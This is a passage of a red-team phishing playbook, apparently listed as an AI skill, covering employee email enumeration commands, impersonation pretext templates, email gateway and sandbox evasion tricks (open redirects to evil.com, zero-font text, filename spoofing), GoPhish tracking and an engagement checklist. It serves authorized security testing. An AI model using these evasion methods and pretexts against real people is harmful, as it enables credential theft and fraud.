# Conference talks reveal employee names and technical interests
```

### 7.2 Email Verification

```bash
# SMTP enumeration (VRFY and RCPT TO)
smtp-user-enum -M RCPT -U emails.txt -t mail.targetcorp.com -p 25

# Hunter.io API for email format verification
curl "https://api.hunter.io/v2/domain-search?domain=targetcorp.com&api_key=KEY"

# Common email format patterns to test
python3 << 'PYEOF'
first = "john"
last = "smith"
domain = "targetcorp.com"
patterns = [
    f"{first}.{last}@{domain}",
    f"{first[0]}{last}@{domain}",
    f"{first}{last[0]}@{domain}",
    f"{first}_{last}@{domain}",
    f"{first}{last}@{domain}",
    f"{last}.{first}@{domain}",
    f"{first[0]}.{last}@{domain}",
]
for p in patterns:
    print(p)
PYEOF
```

### 7.3 Pretext Templates by Scenario

```text
IT Department — Password Rotation:
  From: IT Helpdesk <helpdesk@targetcorp-portal.com>
  Subject: Action Required: Annual Security Compliance - Password Reset
  Pretext: Company policy mandates quarterly credential rotation.
  Urgency: Account suspension in 48 hours for non-compliance.
  Landing: Cloned SSO page or EvilGinx2 lure.

Vendor Invoice:
  From: Accounts Payable <ap@vendor-portal-services.com>
  Subject: Invoice #INV-2026-5839 — Updated Payment Details
  Pretext: Updated banking information for upcoming vendor payment.
  Payload: Macro-enabled Excel spreadsheet with download cradle.

Shared Document Notification:
  From: DocuSign <no-reply@docusign-portal.com>
  Subject: [Exec Name] shared a document for your review
  Pretext: Quarterly performance review document awaiting signature.
  Landing: Credential harvesting page mimicking DocuSign login.

Security Alert:
  From: Security Operations <soc@targetcorp-portal.com>
  Subject: Unusual Login Detected — Verify Your Identity
  Pretext: Login from unrecognized device detected; verify to prevent lockout.
  Landing: EvilGinx2 lure for M365 or Google Workspace.

HR / Benefits:
  From: HR Benefits <benefits@targetcorp-portal.com>
  Subject: Open Enrollment Closes Friday — Action Required
  Pretext: Benefits selection deadline approaching.
  Landing: Credential harvesting portal.
```

---

## 8. Email Security Gateway Evasion

The email must reach the inbox before any payload or pretext matters. Each
layer of the gateway stack requires specific evasion consideration.

### 8.1 URL Evasion

```text
# Safe Link / URL Defense bypass
- Redirect chains: benign URL → 302 → 302 → phishing page
- Time-delayed serving: legitimate page during sandbox scan window (first 30s),
  redirect to phishing page after delay
- Captcha gate: place CAPTCHA before phishing page (sandboxes cannot solve)
- Open redirects on trusted domains:
  https://www.google.com/url?q=https://evil.com
  https://login.microsoftonline.com/common/oauth2/authorize?redirect_uri=...
  
# URL obfuscation
- URL shorteners (bit.ly, tinyurl.com, t.co)
- Data URIs (data:text/html;base64,...)
- IP address instead of domain: http://203.0.113.50/
- Decimal IP: http://3405803826/
- Hex IP: http://0xCB007132/
- URL with authentication: https://trusted.com@evil.com/
```

### 8.2 Attachment Evasion

```text
# Password-protected archives
- ZIP with password mentioned in email body: "Password: Invoice2026"
- Gateway cannot inspect encrypted contents
- Double-nested: encrypted ZIP inside unencrypted ZIP

# Format evasion
- .iso, .img (auto-mount, often not inspected)
- .vhd, .vhdx (virtual disk — Windows mounts natively)
- .one (OneNote — relatively new, less coverage)
- .url (internet shortcut — points to malicious page)
- .library-ms (Windows library file — can point to remote share)
- Rename extensions to match gateway whitelist
```

### 8.3 Content Evasion

```text
# Invisible text / zero-font technique
- Insert zero-size font text between trigger words
  "P<span style='font-size:0px'>safe</span>assword Reset"
- NLP classifiers see "Psafeassword Reset" — not flagged

# Image-only email bodies
- Render entire email content as a PNG image
- Gateway text analysis sees nothing suspicious
- Link embedded as image map or as separate clickable element

# Unicode and zero-width characters
- Zero-width spaces between keywords
- Right-to-left override in filenames: 
  "report_fdp.exe" renders as "report_exe.pdf" with RLO char

# Delayed content loading
- Email body loads content from remote server via CSS or image references
- Content changes after gateway scanning completes
```

### 8.4 Sandbox Evasion

```text
# Detect automated analysis (sandbox clicks links within seconds)
- Track time between email open and link click
- If click within 5 seconds → likely sandbox → serve benign page
- If click after 30+ seconds → likely human → serve phishing page

# JavaScript-based detection
- Check for mouse movement before showing content
- Require scroll interaction before displaying login form
- Check window.screen dimensions (sandboxes use standard sizes)
- Check navigator.plugins.length (sandboxes have minimal plugins)
```

---

## 9. Campaign Metrics and Reporting

### 9.1 GoPhish Tracking Capabilities

```text
GoPhish automatically tracks:
  - Email sent: delivery confirmation per recipient
  - Email opened: tracking pixel (1x1 transparent image) loaded
  - Link clicked: unique per-recipient tracking URL visited
  - Data submitted: form credentials captured
  - Email reported: if report button integration is configured

# API access for programmatic reporting
curl -k https://admin.gophish.local:3333/api/campaigns/ \
  -H "Authorization: Bearer API_KEY" | jq '.[]'
```

### 9.2 Custom Tracking

```python
# Pixel tracking for email opens (if GoPhish tracking is blocked)
# Host a 1x1 transparent GIF with unique filenames per target
# Web server log analysis reveals opens by user agent and IP

# Link tracking with per-target tokens
# https://phish.targetcorp-portal.com/auth?t=UNIQUE_TOKEN_PER_USER
# Map tokens to target emails in your tracking database

# Webhook integration for real-time alerts
# GoPhish webhook → Slack/Teams notification on credential capture
```

### 9.3 Report Generation

```text
Campaign Report Structure:
  1. Executive Summary
     - Total targets, open rate, click rate, submission rate, report rate
     - Comparison against industry benchmarks
  
  2. Campaign Details
     - Timeline: send dates, duration, wave structure
     - Pretext used (sanitized — no actual payload delivery details for client)
     - Landing page screenshots
  
  3. Results Breakdown
     - Per-department metrics: which departments clicked most
     - Time-to-click distribution: how quickly users clicked
     - Credential submission details (count, not actual passwords)
     - Users who reported the phishing email (positive indicator)
  
  4. Technical Findings
     - Email gateway bypass: what controls failed to block the campaign
     - MFA bypass: if applicable, session capture methodology and impact
     - Payload execution: if applicable, what endpoint controls missed
  
  5. Recommendations
     - Email gateway configuration improvements
     - DMARC policy enforcement (p=reject)
     - User awareness training focus areas
     - MFA hardening (FIDO2 deployment, conditional access policies)
     - Phishing reporting workflow improvements
```

---

## 10. Operational Checklist

```text
PRE-ENGAGEMENT
  [ ] Written authorization and scope signed
  [ ] Target list approved — no out-of-scope individuals
  [ ] Deconfliction contacts established
  [ ] Domain registered and aged (minimum 2 weeks)
  [ ] SPF, DKIM, DMARC records configured and verified
  [ ] GoPhish deployed, configured, and tested
  [ ] SMTP relay configured and deliverability verified
  [ ] Landing pages cloned/built and functional
  [ ] EvilGinx2 phishlets deployed (if MFA bypass in scope)
  [ ] Payloads prepared and tested
  [ ] Test emails sent to operator mailboxes — rendering confirmed

EXECUTION
  [ ] Campaign launched in staggered waves
  [ ] GoPhish dashboard monitored in real time
  [ ] Credential captures screenshotted with timestamps
  [ ] Callback phishing team briefed (if BazarCall in scope)
  [ ] QR code emails dispatched (if quishing in scope)
  [ ] Pivot to backup domain if primary is blocklisted

POST-ENGAGEMENT
  [ ] Campaign stopped — no further emails
  [ ] All captured credentials encrypted and stored securely
  [ ] Infrastructure torn down (VPS, domains, GoPhish data)
  [ ] Per-department metrics compiled
  [ ] Final report delivered with recommendations
  [ ] Evidence retained per engagement retention policy (30-90 days)
  [ ] Evidence destroyed after retention period

EVIDENCE ARTIFACTS
  [ ] engagement/evidence/phishing/email_templates/
  [ ] engagement/evidence/phishing/landing_pages/
  [ ] engagement/evidence/phishing/payloads/
  [ ] engagement/evidence/phishing/campaign_results.csv
  [ ] engagement/evidence/phishing/screenshots/
```

---

## Key References

- MITRE ATT&CK T1566 — Phishing (T1566.001 Attachment, T1566.002 Link, T1566.003 Service)
- MITRE ATT&CK T1598 — Phishing for Information
- GoPhish — https://docs.getgophish.com
- EvilGinx2 — https://github.com/kgretzky/evilginx2
- Modlishka — https://github.com/drk1wi/Modlishka
- Muraena — https://github.com/muraenateam/muraena
- EvilnoVNC — https://github.com/JoelGMSec/EvilnoVNC
- King Phisher — https://github.com/rsmusllp/king-phisher
- SET (Social Engineering Toolkit) — https://github.com/trustedsec/social-engineer-toolkit
- dnstwist — https://github.com/elceef/dnstwist
- URLCrazy — https://github.com/urbanadventurer/urlcrazy
- theHarvester — https://github.com/laramies/theHarvester
- NIST SP 800-177 — Trustworthy Email
- RFC 7208 (SPF), RFC 6376 (DKIM), RFC 7489 (DMARC)
- PayloadsAllTheThings — Upload Insecure Files, HTML Smuggling sections
- RCE-Shell-Paylods — Shell payload reference by language

Attribution

Is this your skill, or is something wrong with this listing? Request removal or report an issue. Author removals are honored within 72 hours.

View all in security →

Comments

Loading comments…

Newsletter

Get the weekly list of safe new skills, and the ones we pulled.